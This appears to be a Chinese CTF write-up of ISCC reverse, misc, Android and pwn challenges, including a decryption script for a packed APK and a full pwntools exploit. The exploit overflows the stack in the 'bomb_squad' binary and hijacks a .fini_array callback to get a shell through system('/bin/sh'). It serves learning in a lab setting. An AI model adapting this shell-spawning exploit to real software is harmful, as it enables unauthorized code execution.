#CTF

# REVERSE

去网上搜 flag 时发现是 2018 原题
首先 IDA 打开发现 UPX 壳,使用 UPX -d 脱壳,然后放进 IDA 里面看源码

有点不忍直视,放弃,直接放进 OD 里面跑。
调试了几次,摸清了大致流程:

  1. 接收字符串
  2. 根据接收到的字符串打印出来东西
    然后打印出来的东西本身是在程序里存着,像这样:

把这些数据拿出来转成字符串就是这种:


666f72 495343 5f6172 696375 746869 6e6773 617379 696666 437b41 6c747d 5f6265 6c6c5f 655f64 68657965

for ISC _ar icu thi ngs asy iff C{A lt} _be ll_ e_d heye

输入 -> 输出规律:


1 -> for

2 -> ISC

3 -> _ar

4 -> icu

5 -> thi

6 -> ngs

7 -> iff

8 -> _ar

9 -> C{A

10-> lt}

11-> _be

12-> ll

13-> e_d

14-> hey

15-> e_t

16-> e_e

接着拼出 flag->ISCC {All_things_are_easy_before_they_are_difficult},翻译一下是凡事必先易后难,但是也可以拼成 All_things_are_difficult_before_they_are_easy (凡事必先难后易),不是很懂出题人在想什么,卡拉赞毕业打卡拉赞

# MISC

依旧是原题,只不过看 2018 的 wp 貌似是个 gif,每帧都是不同的二维码,而这次直接弄了一堆到文件夹里

抄下网上的 wp

二维码要求在两个大黑框之间必须有连续的黑白点,这样才行

逐帧分析 gif,发现只有第 62 帧存在一个校正图形

,保存补上位置探测图形和定位图形

,扫描得到 ISRDQzgxMDI=,base64 解码得到!$CC8102

嗦不粗话,连 flag 都没换

# MOBILE

原题,最大的收获是找到了不少好用的工具

放入 APKIDE 中打开,查看 AndroidManifest.xml ,看到启动类为 com.example.shellapplication.WrapperApplication

public class WrapperApplication
  extends Application
{
  static
  {
    System.loadLibrary("reinforce");
  }
  
  public native void attachBaseContext(Context paramContext);
  
  public native void onCreate();
}

这个类加载了 libreinforce.so ,接着去看 onCreate()attachBaseContext 中的内容

onCreate:

v2 = a2;
  v3 = a1;
  v4 = (*(int (**)(void))(*(_DWORD *)a1 + 24))();
  v5 = v4;
  v6 = _JNIEnv::GetMethodID(v3, v4, "getPackageName", "()Ljava/lang/String;");
  v7 = _JNIEnv::CallObjectMethod(v3, v2, v6);
  v8 = (*(int (__fastcall **)(int, int, _DWORD))(*(_DWORD *)v3 + 676))(v3, v7, 0);
  _android_log_print(4, "TTT", "shellapplication's onCreate execute");
  memset(&v12, 0, 0x100u);
  sprintf(&v12, "/data/data/%s/lib/libcore.so", v8);
  v9 = dlopen(&v12, 1);
  v10 = (void (__fastcall *)(int))dlsym(v9, "resume");
  v10(v3);
  _JNIEnv::DeleteLocalRef(v3, v7);
  return _JNIEnv::DeleteLocalRef(v3, v5);

onCreate 中加载了 libcore.so 以及调用了 resume 这个方法

attachBaseContext:

memset(&v23, 0, 0x100u);
  sprintf(&v23, "%s/protected.jar", v17);
  extractJar(v4, v5, &v23);
  byte_601C = (unsigned int)dalvikOrArt();
  memset(&v24, 0, 0x100u);
  sprintf(&v24, "%s/origin.dex", v17);
  decryptJar(&v23, &v24);
  v22 = v4;
  memset(&v25, 0, 0x100u);
  sprintf(&v25, "%s/protected.so", v17);

attachBaseContext 中最关键的部分是对 assets 中的 protected.jar 进行解密,解密操作很简单,按位取反

decryptJar:

while ( v9 < v6 )
    {
      *((_BYTE *)v8 + v9) = ~*((_BYTE *)v7 + v9);
      ++v9;
    }

解密脚本:

#include <stdio.h>
int main()
{
  FILE* fi, * fo;
  fo = fopen("dec.dex", "wb");
  fi = fopen("protected.jar", "rb");
  char  fBuffer[1];
  while (!feof(fi)) {
    fread(fBuffer, 1, 1, fi);    // 读取 1 字节
    if (!feof(fi)) {
      *fBuffer =~ *fBuffer;   // xor encrypt
      fwrite(fBuffer, 1, 1, fo); // 写入文件
    }
  }
}

之所以为什么用 C 来写。。。因为 python 按位取反之后返回的是 int 类型,而负数又没办法 to_bytes() ,写了半天也没写出来一个比较优雅的 exp,放弃。

解密之后得到一个 dex 文件,使用 dex2jar 将其转成 jar 文件,使用 jd-gui 打开。

onCreate 中调用 ProtectedClassverifyKey 对输入进行检查:

if (ProtectedClass.verifyKey(inputText.getText().toString())) {
              str = "密码正确";
            } else {
              str = "密码错误";
            }

ProtectedClass 的逻辑:

public class ProtectedClass {
  private static int[][] key = { { 17, 12, 3 }, { 21, 12, 9 }, { 17, 14, 6 } };
  private static native String getEncrypttext(String paramString);
  public static String getString() { return "bfs-iscc"; }
  public static boolean verifyKey(String paramString) { return (paramString.length() % 3 != 0) ? false : "OYUGMCH>YWOCBXF))9/3)YYE".equals(getEncrypttext(paramString)); }
}

将输入进行加密之后与 OYUGMCH>YWOCBXF 进行比较,但是关键的 getEncrypttext 函数又是个 native。

之前 libreinforce.so 中,在加载完 libcore.so 后,还调用了其中的 resume 方法

resume

v1 = a1;
  v5 = 0;
  v6 = 0;
  v7 = 0;
  v2 = dalvikOrArt();
  decryptAndParse((int)&v5);
  getSdkint(v1);
  if ( v2 )
    resumeArt(v1, &v5);
  else
    resumeDalvik((int)v1, &v5);
  v3 = (char *)v5;
  v4 = v6;
  while ( v3 != (char *)v4 )
  {
    sub_539C(v3 + 8);
    sub_539C(v3 + 4);
    sub_539C(v3);
    v3 += 16;
  }
  if ( v5 )
    operator delete(v5);

什么都看不出来。

看大佬的博客里面说使用了一个安卓的热补丁修复机制。

关于热补丁机制的描述是这样的:

在不进行版本更新的情况下,动态的屏蔽掉程序原来存在 BUG 的函数,使用新的函数替代。

新函数一般存在于另一个 so 中

热补丁的流程主要有:

  1. 通过函数名找到原来函数的地址偏移(ArtMethod->dex_code_item_offset_)。
  1. 将新函数地址偏移替换原函数地址偏移。

而上述程序也为类似主要流程如下:

  1. 分析安卓虚拟机为 dalvik 还是 art,二者热补丁方式不一样。
  1. 解密解析补丁函数表 (decryptAndParse)
  1. 执行补丁操作

接着在 decryptAndParse 中,对补丁表每字节 + 10,进行解密,解密后的补丁表:

1Lcom/example/originapplication/ProtectedClass;getEncrypttext(Ljava/lang/String;)Ljava/lang/String;1416140

后面这串数字就是新函数的位置。

这部分就是函数的字节码,但是 IDA 没有显示出来汇编,需要手动转换

不会

剩下的参考 https://mypre.cn/2018/10/27/bfs-iscc-mobile

# PWN

# bomb_squad

首先 checksec 一下

[*] '/root/work/CLSknpNF3iWUuHCX.bomb_squad'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

这个题目首先由 4 个小关卡,全部通关之后才能达到 getflag 的地方

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts("Welcome to the bomb squad! Your first task: Diffuse this practice bomb.");
  phase_1();
  puts("You got through phase 1 alright! Good work! But can you handle phase 2?");
  phase_2();
  puts("You could handle it! Good job... I think you can handle phase 3... right?");
  phase_3();
  puts("DAYUM, you got it! You know the drill, time for phase 4.");
  phase_4();
  print_flag();
}

# phase_1

int phase_1()
{
  char *v0; // eax
  int result; // eax
  
  puts("Give me a number!");
  v0 = get_line();
  result = 3 * (2 * atoi(v0) / 37 - 18) - 1;
  if ( result != 1337 )
    explode_bomb();
  phase1_solved = 1;
  return result;
}

关卡 1 接收一个数字,经过一系列计算,使得最终结果要等于 1337,使用 z3-solver 很容易得出解。

# phase_2

int phase_2()
{
  puts("Give me an array of numbers!");
  s = get_line();
  sscanf(s, "[%d, %d, %d, %d, %d, %d]", v4, _2C, _30, _34, _38, _3C);
  result = v4[0];
  if ( v4[0] != 1 )
    explode_bomb();
  for ( i = 1; i <= 5; ++i )
  {
    v2 = v4[i - 1] + v4[i];
    result = func2(i);
    if ( v2 != result )
      explode_bomb();
  }
  phase2_solved = 1;
  return result;
}

接收一个数组,要求满足 a[0]=1,a[i-1]+a[i]=2^i ,那么结果就是 [1, 1, 3, 5, 11, 21]

# phase_2

int phase_3()
{
  v4 = get_line();
  v5 = "rqzzepiwMLepiwYsLYtpqpvzLsYeM";
  while ( 1 )
  {
    v1 = v4++;
    result = (unsigned __int8)*v1;
    v3 = result;
    if ( !(_BYTE)result )
      break;
    if ( (char)result <= 96 || (char)result > 123 )
      explode_bomb();
    v0 = v5++;
    if ( *v0 != keys[v3 - 97] )
      explode_bomb();
    lastentered = v3;
  }
  phase3_solved = 1;
  return result;
}

接收一串字符串,要求 keys 里面的字符串要与 v5 的对应。但实际上不需要这么麻烦,

if ( !(_BYTE)result )
      break;

当输入为 \x00 时,就会跳出循环,直接返回。

# phase_4

int phase_4()
{
  s = (char *)get_line();
  sscanf(s, "%d %d %d %d %d %d %d", v5, &v5[1], &v5[2], &v5[3], &v5[4], &v5[5], &v5[6]);
  v2 = &n1;
  result = n1.num;
  v3 = n1.num;
  for ( i = 0; i <= 6; ++i )
  {
    if ( v5[i] < 0 || v5[i] > 3 )
      explode_bomb();
    v2 = (node *)*((_DWORD *)&v2->next1 + v5[i]);
    result = v2->num;
    v3 += result;
  }
  if ( v3 != 95 )
    explode_bomb();
  phase4_solved = 1;
  return result;
}

这里 n1 是一个结构体,大致结构如下

struct node{
    node* next1;
    node* next2;
    node* next3;
    node* next4;
    char name[8];
    int num;
};

这一关接收用户输入的数字,根据数字来进行结构体之间 num 相加的顺序。

比如输入为 "0 3" ,相加的顺序就是 0xa+0x7+0x10

最后试出来解为 3 0 3 0 3 0 0

# secret_phase

通关之后会进入 print_flag ,经过 verify_working 之后会打印出来 flag

void __noreturn print_flag()
{
  if ( verify_working() )
  {
    puts("Congratulations, you won! Here's the flag:");
    system("cat flag.txt");
  }
  exit(1);
}

但是 verify_working 始终返回 1 的,而且最终也并没有得到 flag,还是需要 getshell。

进入 secret_phase

int secret_phase()
{
  puts("this is the secret phase.... please whisper, to keep it a seecret...");
  v2 = &n1;
  v3 = n2;
  v4 = &n3;
  v5 = &n4;
  v6 = &n5;
  v7 = &n6;
  for ( i = 0; i <= 5; ++i )
  {
    printf("Rename node #%d to: ", i + 1);
    fgets((*(&v2 + i))->name, 9, stdin);
    *(_BYTE *)strchrnul((*(&v2 + i))->name, 10) = 0;
    putchar(10);
  }
  return puts("Thanks, I was worried about having to come up with clever names myself!");
}

这一段代码是修改每一个 node 的 name 成员,最多只可以溢出一个字节到 num 上面,并没有什么用。

# fini 段

该 section 保存着进程终止代码指令。因此,当一个程序正常退出时,系统安排执行这个 section 的中的代码。

.fini_array 中有一个 __gg 函数

v5 = &n1;
  v6 = n2;
  v7 = &n3;
  v8 = &n4;
  v9 = &n5;
  v10 = &n6;
  for ( i = 0; i <= 5; ++i )
  {
    v0 = alloca(32);
    v1 = *(&v5 + i);
    v2 = (_DWORD *)(16 * (((unsigned int)&v6 + 3) >> 4));
    *v2 = *v1;
    v2[1] = v1[1];
    v2[2] = v1[2];
    v2[3] = v1[3];
    v2[4] = v1[4];
    v2[5] = v1[5];
    v2[6] = v1[6];
    result = *(_DWORD *)(16 * (((unsigned int)&v6 + 3) >> 4) + 0x14);
    if ( result )
      result = (*(int (**)(void))(16 * (((unsigned int)&v6 + 3) >> 4) + 0x14))();
  }
  return result;

经过分析之后发现这个函数会执行每个 node 中 name[4]-name[8] 所指向的函数,而 name 自然可以控制。并且 call 的时候,此时栈顶指向的就是当前 node。那么只需要把某一个 node 的 name 后四个字节修改成 system,next1 指向的内容修改为 /bin/sh\x00 就可以 getshell。

# 任意地址写

__nr 函数:

unsigned int _nr()
{
  v5 = __readgsdword(0x14u);
  v0 = (const char *)get_line();
  strcpy(&dest, v0);
  v1 = (const char *)get_line();
  strcpy(v4, v1);
  return __readgsdword(0x14u) ^ v5;
}

很明显的栈溢出,可以通过第一个输入,将 v4 覆盖为 node->next1 的地址,通过第二个输入在修改 next1 所指向的内容。

# payload

from pwn import *
p = process("./bomb_squad")
p.sendline("8584")
p.sendline("[1, 1, 3, 5, 11, 21]")
p.sendline("\x00")
p.sendline("3 0 3 0 3 0 0")
system = 0x080485A0
n3 = 0x804b0a8
nr = 0x08048CDA
payload = 'aaaa' + p32(nr) #首先利用__gg 函数执行 node1 中的__nr 函数
p.send(payload)
payload = 'bbbb' + p32(system) + "\n\n\n\n" #接着写入 system 地址到 node2 等待第二次 call,最后 4 个 \n 跳过剩下 4 个 node->name 的修改
p.send(payload)
payload = 'a' * 0xfc + p32(n3) #栈溢出,修改 n3->next1 指向的内容
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()

之所以为什么是要修改 n3->next1 ,因为 system 地址写入到了 node2 的 name 中,当 __gg 函数执行时,此时栈顶排列为

| n3 |

| — |

| n4 |

| n5 |

| n6 |

| name |

| num |

接下来就要执行 system 函数,所以要修改 n3 指向的地址。

请我喝[茶]~( ̄▽ ̄)~*

a1oyss 微信支付

微信支付